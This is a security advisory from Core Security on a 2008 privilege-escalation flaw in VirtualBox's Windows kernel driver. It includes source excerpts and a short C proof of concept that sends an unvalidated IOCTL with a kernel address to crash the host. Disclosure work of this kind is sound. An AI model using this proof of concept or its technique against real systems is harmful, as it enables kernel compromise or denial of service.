VirtualBox Privilege Escalation Vulnerability

1. Advisory Information

Title: Sun xVM VirtualBox Privilege Escalation Vulnerability
Advisory ID: CORE-2008-0716
Advisory URL: http://www.coresecurity.com/core-labs/advisories/virtualbox-privilege-escalation-vulnerability
Date published: 2008-08-04
Date of last update: 2008-08-04
Vendors contacted: Sun Microsystems
Release mode: Coordinated release

Vulnerability Information

Class: Insufficient input validation
Remotely Exploitable: No
Locally Exploitable: Yes
Bugtraq ID: 30481
CVE Name: CVE-2008-3431

 

Vulnerability Description

 

Virtualization technologies allow users to run different operating systems simultaneously on top of the same set of underlying physical hardware. This provides several benefits to end users and organizations, including efficiency gains in the use of hardware resources, reduction of operational costs, dynamic re-allocation of computing resources and rapid deployment and configuration of software development and testing environments.

VirtualBox is an open source virtualization technology project originally developed by Innotek, a software company based in Germany.

In February 2008 Sun Microsystems announced the acquisition of Innotek and VirtualBox was integrated into Sun's xVM family of virtualization technologies. In May 2008, Sun Microsystems announced that the number of downloads of the open source VirtualBox software package passed the five million mark.

When used on a Windows Host Operating System VirtualBox installs a kernel driver (VBoxDrv.sys) to control virtualization of guest Operating Systems.

An input validation vulnerability was discovered within VirtualBox's VBoxDrv.sys driver that could allow an attacker, with local but un-privileged access to a host where VirtualBox is installed, to execute arbitrary code within the kernel of the Windows host operating system and to gain complete control of a vulnerable computer system.

Vulnerable packages

  • Sun xVM VirtualBox 1.6.2.
  • Sun xVM VirtualBox 1.6.0.
  • This issue only occurs in the Microsoft Windows versions of xVM VirtualBox.

Non-vulnerable packages

  • Sun xVM VirtualBox 1.6.4 (for Microsoft Windows)

  • Vendor Information, Solutions and Workarounds

    No workarounds exist for this issue.

    Credits

    This vulnerability was discovered and researched by Anibal Sacco from the CORE IMPACT Exploit Writing Team (EWT) at Core Security Technologies.

    Technical Description / Proof of Concept Code

    When the VirtualBox package is installed on a host the VBoxDrv.sys driver is loaded on the machine. This driver allows any unprivileged user to open the device \\.\VBoxDrv and issue IOCTLs with a buffering mode of METHOD_NEITHER without any kind of validation. This allows untrusted user mode code to pass arbitrary kernel addresses as arguments to the driver.

    With specially constructed input, a malicious user can use functionality within the driver to patch kernel addresses and execute arbitrary code in kernel mode. When handling IOCTLs a communication method must be pre-defined between the user-mode application and the driver module. The selected method will determine how the I/O Manager manipulates memory buffers used in the communication.

    The METHOD_NEITHER is a very dangerous method because the pointer passed to DeviceIoControl as input or output buffer will be sent directly to the driver, thus transferring it the responsibility of doing the proper checks to validate the addresses sent from user mode.

    The VBoxDrv.sys driver uses the METHOD_NEITHER communication method when handling IOCTLs request and does not validate properly the buffer sent in the Irp object allowing an attacker to write to any memory address in the kernel-mode.

    Let's see the bug on the source. This is the function used to handle the IOCTL requests at SUPDrv-win.cpp.

     NTSTATUS _stdcall VBoxDrvNtDeviceControl(PDEVICE_OBJECT pDevObj, PIRP pIrp) { PSUPDRVDEVEXT pDevExt 
= (PSUPDRVDEVEXT)pDevObj->DeviceExtension; PIO_STACK_LOCATION pStack = IoGetCurrentIrpStackLocation(pIrp); 
PSUPDRVSESSION pSession = (PSUPDRVSESSION)pStack->FileObject->FsContext; /* * Deal with the two high-speed 
IOCtl that takes it's arguments from * the session and iCmd, and only returns a VBox status code. */ ULONG 
ulCmd = pStack->Parameters.DeviceIoControl.IoControlCode; if ( ulCmd == SUP_IOCTL_FAST_DO_RAW_RUN (1) || 
ulCmd == SUP_IOCTL_FAST_DO_HWACC_RUN || ulCmd == SUP_IOCTL_FAST_DO_NOP) { KIRQL oldIrql; int rc; /* Raise 
the IRQL to DISPATCH_LEVEl to prevent Windows from rescheduling us to another CPU/core. */ Assert
(KeGetCurrentIrql() <= DISPATCH_LEVEL); KeRaiseIrql(DISPATCH_LEVEL, &oldIrql); (2) rc = 
supdrvIOCtlFast(ulCmd, pDevExt, pSession); KeLowerIrql(oldIrql); /* Complete the I/O request. */ 
NTSTATUS rcNt = pIrp->IoStatus.Status = STATUS_SUCCESS; pIrp->IoStatus.Information = sizeof(rc); 
__try { (3) *(int *)pIrp->UserBuffer = rc; } __except(EXCEPTION_EXECUTE_HANDLER) { rcNt = pIrp->
IoStatus.Status = GetExceptionCode(); dprintf(("VBoxSupDrvDeviceContorl: Exception Code %#x\n", rcNt)); } 
IoCompleteRequest(pIrp, IO_NO_INCREMENT); return rcNt; } return VBoxDrvNtDeviceControlSlow(pDevExt, 
pSession, pIrp, pStack); }


    At (1), we can see the sentence checking the IOCTL code. The constants use are defined at SUPDrvIOC.h in this way:

    #define SUP_IOCTL_FAST_DO_RAW_RUN SUP_CTL_CODE_FAST(64) /** Fast path IOCtl: VMMR0_DO_HWACC_RUN */ 
#define SUP_IOCTL_FAST_DO_HWACC_RUN SUP_CTL_CODE_FAST(65) /** Just a NOP call for profiling the latency 
of a fast ioctl call to VMMR0. */ #define SUP_IOCTL_FAST_DO_NOP SUP_CTL_CODE_FAST(66)


    With the macro SUP_CTL_CODE_FAST() defined in the same file:

    #define SUP_CTL_CODE_FAST(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_NEITHER, FILE_WRITE_ACCESS)


    Now we know that the communication method used will be METHOD_NEITHER (this could also be easily seen by looking at the resulting IOCTL code in the disassembled binary).

    Then at (2) the value returned by supdrvIOCtlFast() is saved in rc and this is where the problem starts because at (3), the value in rc is written directly to the buffer pointer sent from usermode without any check to validate that it is really pointing to an usermode address or even a valid one.

    In this scenario, it is possible to feed the IOCTL with kernel addresses to write the value returned by supdrvIOCtlFast() ANY address in kernel space memory as many times as necessary to modify kernel code or kernel pointers to subsequently get code execution in ring 0 context (that means, with system privileges).

    This is the Proof of Concept I have made to trigger and show the vulnerability. This will generate a Blue Screen of Death (BSOD) trying to write to an unpaged kernel mode address (0x80808080) but any other arbitrary address could be used.

    // Author: Anibal Sacco (aLS) // Contact: [email protected] // [email protected] // 
Organization: Core Security Technologies #include <windows.h/> #include <stdio.h/> int main
(int argc, char **argv) { HANDLE hDevice; DWORD cb; char szDevice[] = "\\\\.\\VBoxDrv"; if ( 
(hDevice = CreateFileA(szDevice, GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, NULL) ) 
!= INVALID_HANDLE_VALUE ) { printf("Device %s succesfully opened!\n", szDevice); } else { printf
("Error: Error opening device %s\n",szDevice); } cb = 0; if (!DeviceIoControl(hDevice, 0x228103, 
(LPVOID)0x80808080,0, (LPVOID)0x80808080,0x0, &cb, NULL)) { printf("Error in DeviceIo ... bytes returned %#x\n",cb); } }

     

    Report Timeline

    • 2008-07-16: Core Security Technologies notifies the VirtualBox team of the vulnerability.
    • 2008-07-17: Vendor acknowledges notification.
    • 2008-07-29: Core asks the vendor for a status update in the fixing process.
    • 2008-07-30: Vendor notifies a patched version will be publicly available on Monday 4th, August.
    • 2008-07-31: Core asks the vendor to provide URL to their alert and to confirm which versions are vulnerable and which version will include the fix.
    • 2008-07-31: CVE ID request sent to Mitre.
    • 2008-07-31: Bugtraq ID request sent to SecurityFocus.com.
    • 2008-07-31: CVE ID received from Mitre.
    • 2008-07-31: Bugtraq ID received SecurityFocus.com.
    • 2008-08-01: Vendor provides draft version of Sun Alert and URL to reference it.
    • 2008-08-01: Core updates its security advisory with information about vulnerable and non-vulnerable packages. Core provides its URL to the vendor and indicates that the vendor cataloged the issue as a Denial of Service bug but it should be considered a privilege escalation problem since it allows unprivileged users to execute code in the kernel context.
    • 2008-08-04: Vendor confirms that this issue can lead to arbitrary code execution by an unprivileged user.
    • 2008-08-04: CORE-2008-0716 advisory is published.

    About CoreLabs

    CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: https://www.coresecurity.com/core-labs/.

    About Core Security Technologies

    Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at https://www.coresecurity.com.

    Disclaimer

    The contents of this advisory are copyright (c) 2008 Core Security Technologies and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

    PGP/GPG Keys

    This advisory has been signed with the GPG key of Core Security Technologies advisories team.